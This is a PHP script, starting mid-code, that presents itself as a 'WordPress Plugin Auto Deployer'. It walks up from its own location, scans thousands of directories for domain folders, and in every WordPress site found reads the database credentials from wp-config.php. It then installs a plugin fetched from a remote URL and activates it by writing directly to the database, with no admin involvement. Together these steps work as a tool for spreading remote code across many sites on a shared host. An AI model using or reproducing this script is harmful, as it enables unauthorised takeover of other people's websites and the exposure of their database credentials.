$rr, 'd' => 0]; } while (!empty($queue) && $scanned < $maxDirs) { $it = array_shift($queue); $p = $it['p']; $d = $it['d']; if (isset($visited[$p])) continue; $visited[$p] = 1; if (!is_dir($p)) continue; $res[] = $p; $scanned++; if ($d >= $maxDepth) continue; $ch = @scandir($p); if (!is_array($ch)) continue; foreach ($ch as $c) { if ($c === '.' || $c === '..') continue; $child = $p . DIRECTORY_SEPARATOR . $c; if (is_dir($child) && !isset($visited[$child])) $queue[] = ['p' => $child, 'd' => $d + 1]; } } return $res; } function detect_webroot_auto(string $startDir, array $allowedTlds, int $maxUp = 12) { $cur = realpath($startDir); if ($cur === false) return false; $level = 0; while ($cur !== false && $level <= $maxUp) { $children = @scandir($cur); if (is_array($children)) { foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $p = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($p) && is_domain_folder($c, $allowedTlds)) return realpath($p); } } $parent = dirname($cur); if ($parent === $cur) break; $cur = $parent; $level++; } return realpath(dirname($startDir)); } function detect_domain_webroot(string $domainPath, string $target_filename, int $maxDepth = 4) { $queue = [['path' => realpath($domainPath), 'depth' => 0]]; $visited = []; while (!empty($queue)) { $it = array_shift($queue); $cur = $it['path']; $d = $it['depth']; if (!$cur || isset($visited[$cur])) continue; $visited[$cur] = 1; $targetPath = $cur . DIRECTORY_SEPARATOR . $target_filename; if (file_exists($targetPath)) return $targetPath; if ($d >= $maxDepth) continue; $children = @scandir($cur); if (!is_array($children)) continue; foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $child = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($child)) $queue[] = ['path' => $child, 'depth' => $d + 1]; } } return false; } function download_content($url) { $options = ['http' => ['method' => 'GET', 'header' => "User-Agent: Mozilla/5.0\r\n"]]; $context = stream_context_create($options); $content = @file_get_contents($url, false, $context); if ($content === false && function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $content = curl_exec($ch); curl_close($ch); } return $content; } function extract_zip_and_get_plugin_info($zip_content, $extract_path) { // Simpan zip ke file temporary $temp_zip = tempnam(sys_get_temp_dir(), 'wp_plugin_') . '.zip'; file_put_contents($temp_zip, $zip_content); // Ekstrak ZIP $zip = new ZipArchive; if ($zip->open($temp_zip) === TRUE) { // Hapus folder jika sudah ada if (file_exists($extract_path)) { delete_directory($extract_path); } // Buat folder baru mkdir($extract_path, 0755, true); // Ekstrak semua file $zip->extractTo($extract_path); $zip->close(); // Cari file plugin utama (yang berisi Plugin Name) $plugin_files = find_plugin_files($extract_path); // Hapus file temporary unlink($temp_zip); return $plugin_files; } // Hapus file temporary jika gagal if (file_exists($temp_zip)) { unlink($temp_zip); } return false; } function find_plugin_files($path) { $plugin_files = []; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile() && $file->getExtension() === 'php') { $content = file_get_contents($file->getPathname()); // Cari plugin header if (preg_match('/Plugin Name:\s*(.+)/i', $content)) { $relative_path = str_replace($path . DIRECTORY_SEPARATOR, '', $file->getPathname()); $folder_name = explode(DIRECTORY_SEPARATOR, $relative_path)[0]; $plugin_files = [ 'main_file' => $file->getPathname(), 'folder_name' => $folder_name, 'relative_main_file' => $relative_path, 'full_path' => $path ]; break; } } } return $plugin_files; } function delete_directory($dir) { if (!file_exists($dir)) return true; $files = array_diff(scandir($dir), ['.', '..']); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; (is_dir($path)) ? delete_directory($path) : unlink($path); } return rmdir($dir); } function copy_directory($src, $dst) { if (!file_exists($dst)) { mkdir($dst, 0755, true); } $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($src, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { $target = $dst . DIRECTORY_SEPARATOR . $iterator->getSubPathname(); if ($item->isDir()) { if (!file_exists($target)) { mkdir($target, 0755, true); } } else { copy($item->getPathname(), $target); } } } // ==================== FIXED AUTO ACTIVATE FUNCTION ==================== function auto_activate_plugin($wp_path, $plugin_identifier) { $wp_config = $wp_path . '/wp-config.php'; if (!file_exists($wp_config)) { echo " ❌ wp-config.php not found\n"; return false; } $config_content = file_get_contents($wp_config); // DEBUG: Tampilkan config content snippet echo " 🔍 Reading wp-config.php...\n"; // IMPROVED REGEX PATTERNS untuk handle berbagai format $patterns = [ 'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/" ]; $config = []; foreach ($patterns as $key => $pattern) { if (preg_match($pattern, $config_content, $matches)) { $config[$key] = $matches[1]; } else { echo " âš ī¸ $key not found in wp-config.php\n"; } } // Cek jika semua config ditemukan if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name']) || !isset($config['table_prefix'])) { echo " ❌ Missing database config\n"; return false; } // Set default jika kosong $db_host = $config['db_host'] ?: 'localhost'; $db_user = $config['db_user'] ?: ''; $db_pass = $config['db_pass'] ?: ''; $db_name = $config['db_name'] ?: ''; $table_prefix = $config['table_prefix'] ?: 'wp_'; echo " 🔌 Connecting to database: $db_name@$db_host\n"; // Connect ke database $conn = @new mysqli($db_host, $db_user, $db_pass, $db_name); if ($conn->connect_error) { echo " ❌ Database connection failed: " . $conn->connect_error . "\n"; return false; } // Update active_plugins $options_table = $table_prefix . 'options'; // Cek jika table exists $check_table = $conn->query("SHOW TABLES LIKE '$options_table'"); if (!$check_table || $check_table->num_rows == 0) { echo " ❌ Table $options_table not found\n"; $conn->close(); return false; } // Get current active plugins $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'"); if (!$result) { echo " ❌ Query failed: " . $conn->error . "\n"; $conn->close(); return false; } if ($row = $result->fetch_assoc()) { $active_plugins = @unserialize($row['option_value']); if (!is_array($active_plugins)) { $active_plugins = []; } // Cek jika plugin sudah aktif if (in_array($plugin_identifier, $active_plugins)) { echo " â„šī¸ Plugin already active\n"; $conn->close(); return true; } // Add plugin $active_plugins[] = $plugin_identifier; $serialized = serialize($active_plugins); $stmt = $conn->prepare("UPDATE {$options_table} SET option_value = ? WHERE option_name = 'active_plugins'"); if (!$stmt) { echo " ❌ Prepare statement failed: " . $conn->error . "\n"; $conn->close(); return false; } $stmt->bind_param('s', $serialized); $success = $stmt->execute(); if (!$success) { echo " ❌ Update failed: " . $stmt->error . "\n"; } else { echo " ✅ Plugin activated in database\n"; } $stmt->close(); $conn->close(); return $success; } else { echo " ❌ active_plugins option not found\n"; $conn->close(); return false; } } // ==================== MAIN SCRIPT ==================== echo "🚀 WordPress Plugin Auto Deployer (Auto Activate + Replace)\n"; echo "==========================================================\n\n"; // Download plugin ZIP echo "đŸ“Ĩ Downloading plugin ZIP from: $PLUGIN_ZIP_URL\n"; $ZIP_CONTENT = download_content($PLUGIN_ZIP_URL); if (!$ZIP_CONTENT) { echo "❌ Failed to download plugin ZIP\n"; exit; } echo "✅ Plugin ZIP downloaded (" . strlen($ZIP_CONTENT) . " bytes)\n\n"; // Ekstrak dan dapatkan info plugin echo "đŸ“Ļ Extracting ZIP and analyzing plugin...\n"; $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid(); $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path); if (!$plugin_info) { echo "❌ Failed to extract ZIP or plugin not found\n"; exit; } echo "✅ Plugin extracted successfully\n"; echo "📁 Plugin folder: " . $plugin_info['folder_name'] . "\n"; echo "📄 Main plugin file: " . $plugin_info['relative_main_file'] . "\n\n"; // Cari webroot $apiDir = realpath(__DIR__); $webroot = detect_webroot_auto($apiDir, $ALLOWED_TLDS); if (!$webroot) { echo "❌ Cannot detect webroot\n"; exit; } echo "🌐 Webroot: $webroot\n\n"; // Scan domain folders $roots = [$webroot, dirname($webroot), $apiDir]; $roots = array_unique(array_filter($roots, 'realpath')); echo "🔍 Scanning for domains...\n"; $dirs = scan_dirs_bfs($roots, 6, 15000); $wp_sites = []; foreach ($dirs as $dir) { if (!is_domain_folder(basename($dir), $ALLOWED_TLDS)) continue; $wp_config = detect_domain_webroot($dir, 'wp-config.php', 4); if ($wp_config) { $wp_root = dirname($wp_config); $wp_sites[] = [ 'domain' => basename($dir), 'path' => $wp_root ]; } } echo "📊 Found " . count($wp_sites) . " WordPress sites\n\n"; $deployed = 0; $activated = 0; foreach ($wp_sites as $site) { $wp_path = $site['path']; $domain = $site['domain']; echo "📍 $domain\n"; echo " Path: $wp_path\n"; // Path target plugin $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name']; $plugin_identifier = $plugin_info['folder_name'] . '/' . basename($plugin_info['relative_main_file']); // Hapus folder plugin jika sudah ada (replace) if (file_exists($plugin_dir)) { delete_directory($plugin_dir); echo " 🔄 Existing plugin folder cleaned\n"; } // Copy semua file plugin dari temp extract ke target $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name']; if (!file_exists($source_dir)) { $source_dir = $plugin_info['full_path']; } copy_directory($source_dir, $plugin_dir); echo " 📁 Plugin folder created with all files\n"; $deployed++; // Auto activate plugin echo " 🚀 Activating plugin...\n"; if (auto_activate_plugin($wp_path, $plugin_identifier)) { echo " ✅ Plugin auto-activated\n"; $activated++; } else { echo " âš ī¸ Plugin activation failed\n"; } echo "\n"; } // Bersihkan temporary files if (file_exists($temp_extract_path)) { delete_directory($temp_extract_path); } echo "đŸŽ¯ DEPLOYMENT SUMMARY:\n"; echo "đŸ“Ļ Deployed: $deployed/" . count($wp_sites) . " sites\n"; echo "✅ Activated: $activated/" . count($wp_sites) . " sites\n"; echo "🚀 Done!\n";